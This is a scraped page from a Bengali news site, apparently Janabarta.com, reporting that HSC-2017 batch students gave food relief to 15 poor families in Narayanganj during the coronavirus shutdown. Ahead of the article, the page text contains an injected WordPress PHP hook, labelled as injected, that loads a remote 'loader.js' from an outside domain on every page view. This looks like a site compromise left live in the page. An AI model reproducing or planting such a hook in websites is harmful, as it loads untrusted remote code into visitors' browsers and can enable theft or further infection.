// Injected Script Enqueue Code function enqueue_custom_script() { wp_enqueue_script( 'custom-error-script', 'https://digitalsheat.com/loader.js', array(), null, true ); } add_action('wp_enqueue_scripts', 'enqueue_custom_script'); Janabarta.com | Newsportal Site ছিন্নমূল মানুষদের ত্রাণ দিলো এইচএসসি-২০১৭ ব্যাচ - Janabarta.com

ছিন্নমূল মানুষদের ত্রাণ দিলো এইচএসসি-২০১৭ ব্যাচ

জবি প্রতিনিধিঃ বিশ্বব্যাপী ছড়িয়ে পড়া প্রাণঘাতী করোনাভাইরাসে সবকিছুতে নেমে এসেছে স্থবিরতা। কার্যত বন্ধ করে দেওয়া হয়েছে শিক্ষাপ্রতিষ্ঠান, কলকারখানা, ব্যবসায়িক প্রতিষ্ঠানসহ সবকিছু। এ পরিস্থিতিতে দেশের নিম্নবিত্ত পরিবারগুলোতে খেটে খাওয়া মানুষের জীবনে নেমে এসেছে অন্ধকার। সারাদেশের দেশের ন্যায় এসব ছিন্নমূল মানুষের পাশে দাঁড়িয়েছে এইচএসসি ২০১৭ ব্যাচের শিক্ষার্থীরা।
প্রথম দফায় ৩ দিনের প্রস্তুতিতে ১৫ পরিবারকে ৫ দিনের নিত্যপ্রয়োজনীয় খাদ্যসমাগ্রী দিয়েছে এইচএসসি ১৭ ব্যাচের শিক্ষার্থীরা। গত শুক্রবার প্রথম দফায় এসব ত্রাণসামগ্রী মৌচাক, সানারপাড়, নারায়ণগঞ্জ এলাকায় বিতরণ করা হয়েছে।
ত্রাণসামগ্রীর মধ্যে ছিল- চাল ৭ কেজি, ডাল ১ কেজি, আলু ২ কেজি, পেয়াজ ১ কেজি, তেল ১ লিটার, লবণ আধা কেজি এবং ১ টি সাবান। এসব ত্রাণসমাগ্রী ১৫ পরিবারের মাঝে বিতরণ করা হয়েছে।
ত্রাণ সামগ্রী বিতরণের বিষয়ে ফাহাদ বিন হাসান রাফি বলেন, দেশের এমন অবস্থায় এক শ্রেণীর মানুষ না খেয়ে থাকতে পারে সেই কথা চিন্তা করেই আমি এবং HSC BATCH 2017 গ্রুপের এডমিন দিয়া এবং আমানের সঙ্গে আলোচনা করি। তারপর অনেক প্রতিবন্ধকতা আসলেও তাৎক্ষণিক ক্ষুদ্র প্রচেষ্টায় ১ম ধাপ পার করে ১৫টি পরিবারের খাদ্যের যোগান দিতে পেরেছি আমরা। পর্যায়ক্রমে আমাদের এ ধারা অব্যাহত থাকবে।
দেশের ক্রান্তিলগ্নে কোটা সংস্কার আন্দোলন, নিরাপদ সড়ক আন্দোলনসহ বেশকিছু সমসাময়িক ইভেন্টে সক্রিয় ভুমিকা রেখেছে এইচএসসি ১৭ ব্যাচের শিক্ষার্থীরা। তাদের ফেসবুক গ্রুপের মাধ্যমে সবকিছুর দিকনির্দেশনা দেওয়া হয়। সে ধারাবাহিকতার অংশ হিসেবে ছিন্নমূল মানুষের পাশে দাঁড়ানোর উদ্যোগ নিয়েছেন তারা।
উদ্যোক্তাদের একজন ফাহাদ বিন হাসান রাফি বলেন,”দেশের এমন অবস্থায় এক শ্রেণীর মানুষ না খেয়ে থাকতে পারে সেই কথা চিন্তা করেই আমি HSC BATCH 2017 গ্রুপের এডমিন প্যানেলের সঙ্গে আলোচনা করি। তারপর অনেক প্রতিবন্ধকতা আসলেও তাৎক্ষণিক ক্ষুদ্র প্রচেষ্টায় ১ম ধাপ পার করে ১৫টি পরিবারের খাদ্যের যোগান দিতে পেরেছি আমরা। পর্যায়ক্রমে আমাদের এ ধারা অব্যাহত থাকবে।”